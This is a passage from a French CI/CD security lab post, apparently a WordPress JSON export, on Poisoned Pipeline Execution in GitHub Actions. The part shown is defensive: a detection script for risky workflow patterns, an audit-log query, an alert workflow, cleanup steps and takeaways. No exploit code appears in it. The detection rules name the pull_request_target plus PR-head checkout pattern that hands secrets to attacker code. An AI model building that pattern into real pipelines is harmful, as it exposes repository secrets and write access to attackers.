indicateurs de risque PPE\n\nWORKFLOW_DIR=\".github\/workflows\"\nEXIT_CODE=0\n\necho \"=== Analyseur de risques PPE ===\"\necho \"\"\n\n# V\u00e9rification 1 : pull_request_target avec checkout du head de la PR\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -q \"pull_request_target\" \"$file\"; then\n    if grep -q \"github.event.pull_request.head\" \"$file\"; then\n      echo \"[CRITIQUE] $file: pull_request_target + checkout du head PR d\u00e9tect\u00e9\"\n      echo \"           C'est la vuln\u00e9rabilit\u00e9 D-PPE classique.\"\n      EXIT_CODE=1\n    fi\n  fi\ndone\n\n# V\u00e9rification 2 : Workflows qui ex\u00e9cutent des scripts r\u00e9cup\u00e9r\u00e9s\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -qE '\\.\/.*.sh|make |npm run|yarn |python .*\\.py' \"$file\"; then\n    if grep -q \"pull_request\" \"$file\"; then\n      echo \"[ATTENTION] $file: Le workflow PR ex\u00e9cute des scripts du d\u00e9p\u00f4t (risque I-PPE)\"\n      echo \"            Assurez-vous qu'aucun secret n'est transmis \u00e0 ce job.\"\n    fi\n  fi\ndone\n\n# V\u00e9rification 3 : Secrets utilis\u00e9s dans les workflows PR\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -q \"pull_request\" \"$file\"; then\n    if grep -q \"\\${{ secrets\\.\" \"$file\"; then\n      echo \"[\u00c9LEV\u00c9]    $file: Secrets r\u00e9f\u00e9renc\u00e9s dans un workflow PR\"\n      echo \"           Les secrets ne devraient pas \u00eatre disponibles dans les workflows d\u00e9clench\u00e9s par PR.\"\n      EXIT_CODE=1\n    fi\n  fi\ndone\n\n# V\u00e9rification 4 : Permissions trop larges\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -q \"pull_request\" \"$file\"; then\n    if grep -q \"permissions: write-all\" \"$file\" || ! grep -q \"permissions:\" \"$file\"; then\n      echo \"[MOYEN]    $file: Workflow PR avec des permissions larges ou non d\u00e9finies\"\n      echo \"           Ajoutez explicitement 'permissions: {}' ou des port\u00e9es minimales.\"\n    fi\n  fi\ndone\n\necho \"\"\nif [ $EXIT_CODE -eq 0 ]; then\n  echo \"Aucun risque PPE critique d\u00e9tect\u00e9.\"\nelse\n  echo \"Risques PPE critiques trouv\u00e9s. Examinez les r\u00e9sultats ci-dessus.\"\nfi\n\nexit $EXIT_CODE\n<\/code><\/pre>\n<h3>Surveillance du journal d&rsquo;audit GitHub<\/h3>\n<p>Pour GitHub Enterprise ou la surveillance au niveau de l&rsquo;organisation, utilisez l&rsquo;API du journal d&rsquo;audit pour suivre les modifications de workflow :<\/p>\n<pre><code># Interroger le journal d'audit pour les modifications de fichiers workflow\ngh api \\\n  -H \"Accept: application\/vnd.github+json\" \\\n  \/orgs\/{org}\/audit-log?phrase=action:workflows \\\n  --paginate | jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'\n<\/code><\/pre>\n<h3>Revue automatis\u00e9e des PR pour les modifications de fichiers de build<\/h3>\n<p>Ajoutez un workflow qui signale les PR modifiant des fichiers critiques du build :<\/p>\n<pre><code>name: Build File Change Alert\n\non:\n  pull_request:\n    paths:\n      - 'Makefile'\n      - 'Dockerfile'\n      - '**\/*.sh'\n      - 'package.json'\n      - '.github\/workflows\/**'\n\njobs:\n  alert:\n    runs-on: ubuntu-latest\n    permissions:\n      pull-requests: write\n    steps:\n      - name: Comment warning\n        uses: actions\/github-script@v7\n        with:\n          script: |\n            await github.rest.issues.createComment({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.issue.number,\n              body: '\u26a0\ufe0f **Modification de fichier de build d\u00e9tect\u00e9e**\\n\\nCette PR modifie des fichiers critiques du build. Une revue de l'\u00e9quipe s\u00e9curit\u00e9 est requise avant la fusion.\\n\\nChemins d\u00e9clencheurs : Makefile, Dockerfile, scripts shell, package.json ou fichiers workflow.'\n            });\n<\/code><\/pre>\n<h2>Nettoyage<\/h2>\n<p>Apr\u00e8s avoir termin\u00e9 le lab :<\/p>\n<ol>\n<li>Supprimez le d\u00e9p\u00f4t <code>ppe-lab-victim<\/code>.<\/li>\n<li>Supprimez le d\u00e9p\u00f4t fork\u00e9.<\/li>\n<li>R\u00e9voquez tous les tokens d&rsquo;acc\u00e8s personnels que vous avez cr\u00e9\u00e9s pour les tests.<\/li>\n<li>Supprimez le secret de d\u00e9p\u00f4t <code>MY_SECRET<\/code> si le d\u00e9p\u00f4t existe encore.<\/li>\n<\/ol>\n<p>Ne laissez pas des workflows de test vuln\u00e9rables en cours d&rsquo;ex\u00e9cution dans un d\u00e9p\u00f4t que vous comptez conserver.<\/p>\n<h2>Points cl\u00e9s \u00e0 retenir<\/h2>\n<ul>\n<li><strong>Le d\u00e9clencheur <code>pull_request<\/code> est s\u00fbr contre le D-PPE<\/strong> car il ex\u00e9cute le workflow depuis la branche de base, pas la branche PR.<\/li>\n<li><strong><code>pull_request_target<\/code> + checkout du head de la PR est le pattern le plus dangereux<\/strong> dans GitHub Actions. Il donne au code de l&rsquo;attaquant acc\u00e8s aux secrets et aux permissions d&rsquo;\u00e9criture.<\/li>\n<li><strong>L&rsquo;Indirect PPE contourne les protections au niveau du workflow<\/strong> en empoisonnant les fichiers que le pipeline ex\u00e9cute (Makefiles, scripts, configs) plut\u00f4t que le workflow lui-m\u00eame.<\/li>\n<li><strong>S\u00e9parez les \u00e9tapes non fiables et fiables :<\/strong> ex\u00e9cutez la validation des PR sans secrets, et n&rsquo;accordez les secrets qu&rsquo;aux workflows d\u00e9clench\u00e9s par des push sur des branches prot\u00e9g\u00e9es.<\/li>\n<li><strong>La d\u00e9fense en profondeur est essentielle :<\/strong> combinez CODEOWNERS, exigences d&rsquo;approbation, permissions minimales, ex\u00e9cution en bac \u00e0 sable et scripts de d\u00e9tection.<\/li>\n<li><strong>Traitez chaque fichier d&rsquo;une PR comme une entr\u00e9e non fiable<\/strong> \u2014 pas seulement le YAML du workflow, mais chaque script, configuration et manifeste que le pipeline touche.<\/li>\n<\/ul>\n<h2>Prochaines \u00e9tapes<\/h2>\n<p>Continuez \u00e0 renforcer vos connaissances en s\u00e9curit\u00e9 CI\/CD avec ces guides connexes :<\/p>\n<ul>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/ci-cd-execution-models-trust-assumptions-security-guide-2\/\">Mod\u00e8les d&rsquo;ex\u00e9cution CI\/CD et hypoth\u00e8ses de confiance<\/a> \u2014 Comprenez les fronti\u00e8res de confiance et les contextes d&rsquo;ex\u00e9cution qui rendent le PPE possible.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/defensive-patterns-mitigations-ci-cd-pipeline-attacks\/\">Patterns d\u00e9fensifs et att\u00e9nuations pour les attaques de pipelines CI\/CD<\/a> \u2014 Un catalogue complet de patterns d\u00e9fensifs au-del\u00e0 du PPE, couvrant l&rsquo;ensemble du Top 10 CI\/CD de l&rsquo;OWASP.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Pr\u00e9sentation Le Poisoned Pipeline Execution (PPE) est class\u00e9 comme le risque n\u00b02 dans le Top 10 de la s\u00e9curit\u00e9 CI\/CD de l&rsquo;OWASP. Il s&rsquo;agit d&rsquo;une cat\u00e9gorie d&rsquo;attaques dans laquelle un acteur malveillant manipule le processus de build en injectant du code dans les d\u00e9finitions de pipelines ou les scripts de build, g\u00e9n\u00e9ralement via une pull &#8230; <a title=\"Lab : Exploitation et D\u00e9fense Contre le Poisoned Pipeline Execution (PPE)\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-exploiting-defending-poisoned-pipeline-execution-ppe\/\" aria-label=\"En savoir plus sur Lab : Exploitation et D\u00e9fense Contre le Poisoned Pipeline Execution (PPE)\">Lire la suite<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[49,54],"tags":[],"post_folder":[],"class_list":["post-532","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-threats-attacks"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/532","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/comments?post=532"}],"version-history":[{"count":2,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/532\/revisions"}],"predecessor-version":[{"id":581,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/532\/revisions\/581"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/media?parent=532"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/categories?post=532"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/tags?post=532"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/post_folder?post=532"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}